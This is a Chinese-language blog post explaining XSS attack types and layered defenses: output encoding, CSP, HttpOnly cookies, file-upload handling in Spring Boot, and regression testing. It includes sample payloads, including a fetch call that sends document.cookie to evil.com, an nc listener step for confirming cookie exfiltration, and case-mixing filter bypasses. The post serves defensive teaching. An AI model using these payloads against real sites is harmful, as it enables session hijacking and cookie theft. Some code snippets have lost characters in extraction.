1. XSS 攻击的本质这不是一个注入问题而是一个信任边界问题做前端这几年我见过太多把 XSS 当小事的团队。问起来都是我们做了输入过滤呀结果呢攻击者在 URL 参数里塞一段 payload或者在某评论区贴个链接管理员后台一打开会话 Token 直接被带走。这事发生在谁身上谁才知道疼。XSSCross-Site Scripting跨站脚本攻击从名字看像是跨站的问题但追到根子上它是个信任边界问题——你信任了不该信任的数据并且把这份信任传递给了浏览器。浏览器看到一个script标签它的本能是执行因为 HTML 规范就是这么定义的。问题从来不出在浏览器身上出在我们把用户输入和可执行代码放进了同一个渲染上下文。我习惯用一句话跟刚入行的同事解释这个概念XSS 就是外部数据越过了代码和数据的边界。我们写前端代码时模板里的变量、DOM 属性、URL 参数这些都是数据通道。数据本身是无害的但某些数据会被浏览器当作代码来解释。攻击者要做的就是找到一条通道让他们的数据以代码的形式被执行。理解这一点非常重要因为防御思路全由它推导出来——不是过滤脏数据而是确保数据永远以数据的身份出现在页面上。这两句话听起来差不多实际执行起来天差地别。下面是三个典型攻击类型也是所有 CTF 靶场和高危漏洞报告里的常客。1.1 反射型 XSS数据走了一趟服务端又原样弹回来反射型 XSS 的完整链路是这样的攻击者构造一个恶意 URL诱导受害者点击。这个 URL 里带着 payload比如?qscript.../script服务端收到请求后把参数里的内容拼进 HTML 响应并返回浏览器解析这个响应payload 被当作脚本执行。整个过程里 payload反射了一下没有落库所以叫反射型。举个例子一个搜索页的代码可能长这样// 后端伪代码 router.get(/search, (req, res) { const keyword req.query.q; res.send(p您搜索的关键词是${keyword}/p); });如果用户访问/search?qscriptalert(document.cookie)/script服务端返回的 HTML 里就会包含一个真正的script标签浏览器直接执行。这个例子里只是弹个窗但换成窃取 Cookie、伪造请求危害立刻放大。反射型 XSS 通常需要诱骗用户点击链接才能触发所以有些人觉得危害一般。这么说吧攻击者可以做足伪装——短链接、二维码、钓鱼邮件里嵌一张图图片地址就是恶意链接。配合一些浏览器特性利用命中率并不低。在测试环节反射型是 OWASP ZAP 这类自动化工具扫得最凶的一类因为它不需要登录态只要入口参数可反射就能直接验证。1.2 存储型 XSSpayload 落库谁看谁中招存储型 XSS 的链路比反射型多了一个环节payload 被持久化存储。攻击者在评论区、昵称、个人简介、反馈表单等位置提交恶意内容服务端把它存进数据库。之后任何用户包括管理员打开包含这段内容的页面脚本就被执行。打个比方反射型 XSS 相当于有人在你门口喊了一句咒语你走出去才听到存储型 XSS 相当于有人在你的饮水机里下了毒谁接水谁喝。存储型的可怕之处在于它不需要定向诱导一次提交长期生效且受害者范围不可控。我在实际项目里见过一个典型事故某个后台管理系统的日志模块把用户操作记录里的 User-Agent 字段原样输出到管理页面的表格里。攻击者把 UA 改成一段 payload管理员查看日志时脚本执行会话直接被劫持。UA 这种字段很少有人会当成攻击面但它就是存储型 XSS 的完美载体——因为它在输出时没有做任何处理。1.3 DOM 型 XSS服务端还不知道发生了什么前端已经遭了DOM 型 XSS 跟反射型、存储型最大的区别是payload 不经过服务端拼接整个过程都在浏览器本地完成。攻击者构造 URLJavaScript 读取 URL 参数然后用某个操作把内容写进 DOM——常见于document.write、innerHTML、location.hash等 API。一个典型的错误写法const name new URLSearchParams(location.search).get(name); document.getElementById(welcome).innerHTML 欢迎你 name;当 URL 是/?nameimg srcx onerroralert(1)时innerHTML会把这段内容当作 HTML 解析onerror事件触发脚本执行。整个过程里请求甚至不需要发到服务端后端日志里完全查不到痕迹。DOM 型 XSS 检测难度高因为服务端扫不到必须在前端运行环境里才能发现。这也是为什么很多人觉得 DOM XSS 比反射型高级但它本质还是同一个问题——数据被放进了 HTML 上下文。2. 攻击面盘点CTF 靶场里藏着真实业务的漏洞镜像热词里出现了一串靶场名字DVWA、Pikachu、CTFShow、CTFHub。很多刚接触安全的开发者会问刷这些靶场到底对实际工作有没有用我的看法是靶场的题目设计虽然相对简单但它在真实业务里几乎都有对应镜像。把靶场里踩过的每一种输入输出场景映射到自己的项目代码里基本就能摸清攻击面。2.1 攻击者最先碰的入口往往是你最不在意的字段拿 DVWA 的 XSS 题目来说低级难度就是一个输入框加一个按钮payload 提交后直接回显。映射到真实业务这类入口无处不在搜索框关键词回显在结果页表单字段用户名、手机号、邮箱、地址提交后显示在个人中心或订单详情URL 参数分享链接、邀请码、活动 ID上传文件的原始文件名上传一张图片文件名里有特殊字符HTTP 头User-Agent、Referer、X-Forwarded-For 被记录并展示富文本内容编辑器输出的 HTML最终原样插入页面这些入口里搜索框和 URL 参数最容易被发现也最多人做防护而User-Agent、文件名、富文本内容属于信息的输入输出链条长、中间环节多的地方最容易出现折算。CTFHub 技能树里 XSS 那部分有一道题考察的是从 URL 读取参数后写入 DOM这对应的是前端路由开发中用location.search或location.hash传参的场景。很多 SPA 应用里路由参数会被直接当成组件状态渲染进模板稍不注意就把参数丢进了v-html或dangerouslySetInnerHTML。2.2 靶场思维和工程思维的差距在哪里刷过 CTF 的人都会有这种感觉靶场是一个确认漏洞成立的地方你只要弹出 alert(1) 就算通关。但真实项目不一样你要做的是在庞大的代码库里找到所有可能存在同类问题的位置并提供一个可维护的、不牺牲业务效率的修复方案。这里我分享一个我在代码审计中常用的三个扫描点方法拿一张纸或者思维导图把项目中所有动态内容插入页面的位置列出来。至少覆盖以下三类插入方式涉及的 API/属性风险级别HTML 插入innerHTML、document.write、outerHTML、insertAdjacentHTML高属性插入setAttribute、href、src、style高某些属性可被利用如hrefjavascript:文本插入textContent、innerText、模板引擎默认插值如 Vue 的{{ }}低但也要确认没有绕过扫描完这张表再去对照框架的转义机制就基本能定位出有坑的位置。2.3 从攻击者的视角重新理解你的参数我经常跟团队说一句话写代码的时候默认进入页面的每一个外部数据都是恶意数据。这不是矫枉过正而是一种安全的思维方式。举一个实际案例某个后端返回一段 JSON其中nickname字段是用户在控制台自己设置的。代码渲染的时候这样写userCard.innerHTML div classnickname${user.nickname}/div;用户自己设置的有什么问题有。如果用户设置的昵称是/divscriptfetch(https://evil.com/?cookie document.cookie)/script那所有打开这个用户主页的人Cookie 都会被发送到攻击者的服务器。这里的信任假设是用户不会攻击自己但这个页面是公开的其他人也会访问。信任边界被打破了。3. 防御体系搭建输出编码、CSP 与 HttpOnly 的三层防线XSS 的防御不是某一个单独动作能搞定的。很多团队问我用哪个过滤器就够了我的答案永远是没有银弹你需要的是纵深防御。就像防盗门、小区门禁、室内监控是三道不同维度的防线一样XSS 防御体系中输出编码、CSP、HttpOnly Cookie 分别解决不同环节的问题。但防御前先对攻击路径做个自检你能确认进入页面的每个数据都经过了正确的编码处理吗不能的话即使上了 100 个过滤器总有漏网之鱼。所以团队自动化测试和代码审计一定要有这个我们放到第 5 章专门讲。3.1 输出编码在数据进入 HTML 之前就把它变成纯文本先明确一个概念存储型 XSS 的修复不能靠输入过滤来根治最终是为了输出无害化。怎么理解攻击者在评论里提交script你可以在服务端拦截掉。但是用户提交lt;img srcx onerroralert(1)gt;这种情况怎么办它会被 HTML 实体解码渲染成一个图片标签同样触发脚本。所以对存储型来说拦截恶意输入很容易被绕过正确的做法是在输出时对所有用户可控内容做上下文感知的编码。这里需要强调的是上下文感知因为 HTML 里不同位置的编码规则是不一样的插入在 HTML 元素内容中如p{数据}/p需要 HTML 实体编码转成lt;转成gt;转成amp;引号转成#39;和quot;插入在 HTML 属性值中如input value{数据}除了 HTML 实体编码还需要处理引号防止逃逸出属性值插入在 JavaScript 字符串中如var x {数据};需要 JS 编码把\、、、换行符都转义插入在 URL 中如href{数据}需要 URL 编码同时要协查javascript:等伪协议用框架帮你处理是最省心的。Vue 模板的{{ }}、React 的{text}默认都是转义输出。风险往往出现在开发者为图省事主动用了不安全的 API框架安全用法高危用法Vue{{ data }}v-htmldataReact{data}dangerouslySetInnerHTML{{ __html: data }}jQuery.text(data).html(data)如果在项目中确实需要渲染富文本比如文章、公告可以考虑使用专门的富文本 Sanitizer 库对img、a、strong这类白名单标签放行但去掉所有事件属性onerror、onclick等和javascript:伪协议。千万不要自己写正则去过滤script正则很容易被各种编码和大小写绕过我试过太多次了坑踩得特别深。3.2 CSP内容安全策略给浏览器设定一个只允许执行这些脚本的规则输出编码是应用层的第一道防线但总会有漏网之鱼比如某个第三方库内部用了innerHTML或者某个老旧的 DOM API 在框架之外被调用。这时候要想再兜一层底就轮到 CSP 上场。CSP 是一个 HTTP 响应头它告诉浏览器这个页面只能加载和执行哪些来源的脚本是否允许内联脚本是否允许eval()。我推荐一个基础的策略Content-Security-Policy: default-src self; script-src self; object-src none; base-uri self这套策略的含义是脚本只能从同源地址加载不允许内联脚本不允许eval不允许插件对象。如果攻击者注入了一段scriptalert(1)/script浏览器会直接拦截执行并且控制台会报错。但 CSP 并不是配置了就能立刻用的它有一个排雷的过程。现实中的项目往往用到了内联脚本比如 Google Analytics、性能监控 SDK、eval某些老版本的 webpack devtool、CDN 上的第三方库一上 CSP 全挂了。所以落地策略建议分两步先发布一个宽松的策略模式设为报告而不是拦截Content-Security-Policy-Report-Only: default-src self; script-src self; report-uri /csp-report观察一段时间上报日志把确认为合法的脚本来源加进白名单比如script-src self https://cdn.example.com nonce-xxxx再把策略切换成强制拦截。这里有一个关键点CSP 的script-src如果没有配合 nonce 或 hash内联脚本一律禁掉。有些团队为图省事会在策略里加unsafe-inline这一加等于把大门打开了一半。非必要不要用。3.3 HttpOnly Cookie让脚本读不到你的会话凭证XSS 攻击者最常见的利用方式是窃取用户的 Cookie尤其是会话标识。一旦拿到会话 ID攻击者就能冒充用户登录态做各种事情。而 HttpOnly 这个 Cookie 属性就是专门用来堵这条路的设置了 HttpOnly 的 Cookiedocument.cookie读不到它。服务端设置 Cookie 时加一个标志位就行Set-Cookie: sessionidabc123; HttpOnly; Secure; SameSiteLax这里的含义结合来看HttpOnly脚本无法通过document.cookie读取Secure只在 HTTPS 连接中传输SameSiteLax限制跨站请求携带 Cookie对 CSRF 也有一定的防御效果有了 HttpOnly即使页面被注入了脚本攻击者也无法直接读取会话 Cookie只能退而求其次去窃取其他信息、构造同源请求等利用难度大幅提升。但是要注意HttpOnly 不是 XSS 的防御措施它只是降低 XSS 危害的措施。不能因为加了 HttpOnly 就放松编码和 CSP。我用一个比喻输出编码和 CSP 是不让小偷进屋HttpOnly 是把银行卡锁在保险柜里。保险柜再好小偷进屋了终究是个麻烦。4. 文件上传与 PDF 场景的 XSS 处理一个被低估的高危入口说一个很多团队压根没意识到的问题文件上传模块。热词里频繁出现文件上传 XSS 修复Spring Boot 全局过滤器处理上传 PDF 的 XSS 攻击处理这不是偶然而是真实踩坑的人太多了。常规的理解是上传的文件有木马怎么办于是大家盯紧上传文件本身的病毒扫描和类型校验。但 XSS 的视角是完全不同的问题不在文件内容而在于浏览器如何解释你返回给它的响应。4.1 上传文件导致 XSS 的两种攻击路径第一种上传一个 HTML 或者 SVG 文件然后直接通过 URL 访问它。比如攻击者上传了一个名为evil.html的文件内容是一段窃取 Cookie 的脚本。如果应用没有对上传目录做响应头控制浏览器访问/uploads/evil.html时就会把文件内容当作当前站点源下的 HTML 来解析脚本自然能够执行。这里的关键是浏览器判定脚本是否可信看的不是文件是谁传的而是它在哪个域下面。脚本一旦在https://your-app.com/uploads/evil.html下执行它就可以读取同源 Cookie。第二种上传看起来无害的图片或 PDF但是文件的元数据里藏了 payload。SVG 本质上就是 XML 文本文档天然可以包含script标签。PDF 文件如果是在服务端由用户输入动态拼接生成的字段内容没有做处理生成的 PDF 里就可能带上可以被 PDF 阅读器执行的 JavaScript。注意这里要区分场景如果 PDF 是二进制原样上传下载而不是在线预览危害相对可控但如果你的业务是用户填表单→后端生成 PDF→浏览器预览那字段内容直接拼接进 PDF就是一个妥妥的存储型 XSS只是在 PDF 容器里执行。4.2 Spring Boot 全局过滤器处理 XSS 的常见方案与误区针对上传入口Spring Boot 项目中很常见的做法是写一个全局过滤器用XSSFilter拦截请求对参数值做清理。但很多团队会在上传 PDF 文件时踩坑过滤器只处理了文本参数没有处理文件输入流里的内容。热词里提到的场景我推测是这样一种情况文件本身是 PDF但攻击者会在 PDF 的元数据字段标题、作者里插入 XSS payload然后系统解析 PDF 内容并把元数据显示在网页上或者后端在生成 PDF 摘要时直接把原字段拼接进 HTML。针对这类场景我给出一个相对完整的处理思路对上传文件的类型做严格校验。不只检查文件扩展名还要用文件头Magic Number校验实际类型。比如 PDF 必须以%PDF-开头图片要根据 JPEG/PNG 的二进制签名判断。public boolean isPdf(MultipartFile file) { byte[] header new byte[4]; try (InputStream is file.getInputStream()) { is.read(header, 0, 4); } catch (IOException e) { return false; } // PDF 文件头为 %PDF return header[0] % header[1] P header[2] D header[3] F; }对文件内容做 XSS 扫描。不要试图用正则删掉恶意标签这样永远会有绕过。更稳妥的方案是用专业的解析库把 PDF 解析成纯文本只提取白名单内的字段然后对文本字段做输出编码。比如使用Apache PDFBox读取元数据把拿到的 title、author 等字段交给前端渲染时按文本处理。对上传目录统一设置响应头。如果业务上允许用户直接通过 URL 访问上传的静态文件务必在响应头加上Content-Security-Policy: default-src none; sandbox X-Content-Type-Options: nosniff Content-Disposition: attachment; filenamedownloadsandbox会禁用脚本执行nosniff告诉浏览器不要猜测 MIME 类型防止浏览器把上传的图片当作 HTML 解析attachment会让浏览器强制下载而不是内联预览这对非预览类文件是最强的保险4.3 全局过滤器本身不是银弹别忽略文件上传的旁路Spring Boot 项目里还有一种常见的套路写一个 Filter对所有请求的参数做 XSS 清理。这种方案的优点是接入成本低缺点也明显它只能处理请求参数query string 和 form body处理不了 JSON 的嵌套结构除非你专门写一个RequestBodyAdvice对 body 做反序列化后再清洗它对文件上传的 multipart 流无能为力过度清洗会伤及正常业务比如用户提交的文章内容里有合法的b标签被过滤器一刀切掉安全性反而是最薄弱的依赖你自己维护的拦截规则总会有没写到的攻击变种所以我把全局过滤器的定位放在兜底而不是主力。主力永远是框架的模板转义、CSP 策略、上下文感知的输出编码。过滤器的存在价值是给那些还没来得及整改但已上线的历史接口做一层临时保护它不该是长期方案。5. 修复验证与回归测试改了不等于修好了踩过的坑里最常见的一种是我们加了个过滤器XSS 应该修好了吧 然后上线第二天就被安全团队用新的 payload 打穿。XSS 修复的正确姿势是修完不靠嘴证明靠测试证明。这里的测试不仅是自动化用例还包括一套手动的演练清单。5.1 手动验证的 payload 清单在验证 XSS 是否存在时不要一上来就弹alert(1)那样太粗粒度无法定位具体绕过点。我日常会准备一组递进式的 payload每个都服务于一个特定目的目的Payload 示例验证是否 HTML 转义scriptalert(1)/script验证标签是否被白名单过滤img srcx onerroralert(1)验证属性上下文是否安全svg onloadalert(1)验证伪协议是否被拦截a hrefjavascript:alert(1)click/a验证 JS 上下文是否安全;alert(1);//验证 DOM 型漏洞#img srcx onerroralert(1)一个细节用alert(1)验证完一定要换成一个没有弹窗的 payload 再验证一次比如把 cookie 发到一个可控的服务器本地起个nc -lvnp确认真的能够外带数据。因为有些防御会拦截浏览器原生弹窗但不会拦截网络请求。5.2 自动化回归测试要覆盖的关键场景如果项目有自动化测试体系下面几个场景需要做成永久用例搜索关键词包含scriptalert(1)/script页面返回的 HTML 里不允许出现原始的script标签在响应文本级别断言用户昵称包含svg onloadalert(1)个人中心页面的响应必须把引号正确编码为quot;一个 URL 参数携带javascript:alert(1)渲染生成的a标签的href不允许以javascript:开头上传一个内容为scriptalert(1)/script的 HTML 文件访问上传后的 URL响应必须带有Content-Disposition: attachment或sandbox响应头这些用例可以直接用selenium或者playwright写 e2e 测试也可以用简单的 HTTP 请求加正则断言。5.3 修复过程中经常被忽视的四个细节第一响应头是 HTML不是字符串拼接。有些团队做 XSS 防护喜欢写一个工具类把替换成lt;然后全项目套用。问题是同一段数据放在 HTML 标签里、放在href里、放在 JS 变量里需要的编码方式完全不同。一个万能转义函数要么过度转义要么转义不足。第二DOM 型 XSS 无法通过后端过滤器修复。前面提到的 DOM 型漏洞因为攻击路径完全不经过服务端你的全局过滤器再强大也拦不到。DOM 型 XSS 的修复只能在前端代码层面改用textContent代替innerHTML用URL 解析代替字符串拼接用DOMPurify清洗非信任 HTML。第三富文本的允许标签列表需要定期审计。富文本场景里就算用了白名单过滤也要注意白名单自身的安全性。举个例子允许a标签的href时只过滤掉javascript:而没有 URL 标准化攻击者可以用JaVaScRiPt:或#106;avascript:绕过。标准做法是解析 URL只允许http:和https:协议。第四CSP 的 nonce 有缓存泄漏风险。如果用了 nonce 来允许合法内联脚本要注意nonce 一旦被页面源码输出就不可复用了必须在每次响应时重新生成而且 nonce 不应出现在静态缓存文件里否则等于把钥匙给了攻击者。6. 一点总结之外的实践经验最后分享一些我自己在实际排查中沉淀下来的习惯不一定写在哪本教科书里但非常管用。拿到一个 XSS 漏洞报告第一步不是看 payload而是看触点链。数据从哪个接口进来经过哪些存储和加工最后在哪里被渲染出来。把这条链路画出来你会发现自己对业务的理解会更深。我在团队内部做过一次XSS 链路大排查把项目中所有innerHTML、v-html、dangerouslySetInnerHTML、document.write都拉出来过了一遍结果找出 7 处隐藏问题其中 3 处是上线一年以上的老代码。自己搭一个最小伤害的复现环境比翻文档强得多。我本地一直保留一个 DVWA Pikachu 的 Docker 环境不是拿来刷题而是拿来做防御验证实验。在某个修复方案上线前我会先在靶场环境里跑一遍确认编码函数在不同上下文里的表现再搬回真实项目。这种方式比直接在测试环境反复试错效率高得多因为靶场环境里数据是可控的不会污染业务数据。关注浏览器和框架的更新日志。XSS 的攻防是动态的浏览器的新特性、第三方库的更新都有可能引入新的绕过方式。比如曾经有个阶段某些浏览器对 MIME 的嗅探策略调整使得nosniff之外又多了一层需要考虑的因素。定期跟踪 OWASP 的 XSS 预防速查表更新自己的防御清单是成本最低的保持不落后的方式。工具可以帮你发现漏洞框架可以帮你拦截大部分攻击但真正决定系统安全水平的还是对数据与代码边界这件事的理解程度。希望这篇内容能让你在排查第一个 XSS 漏洞时少走几步弯路。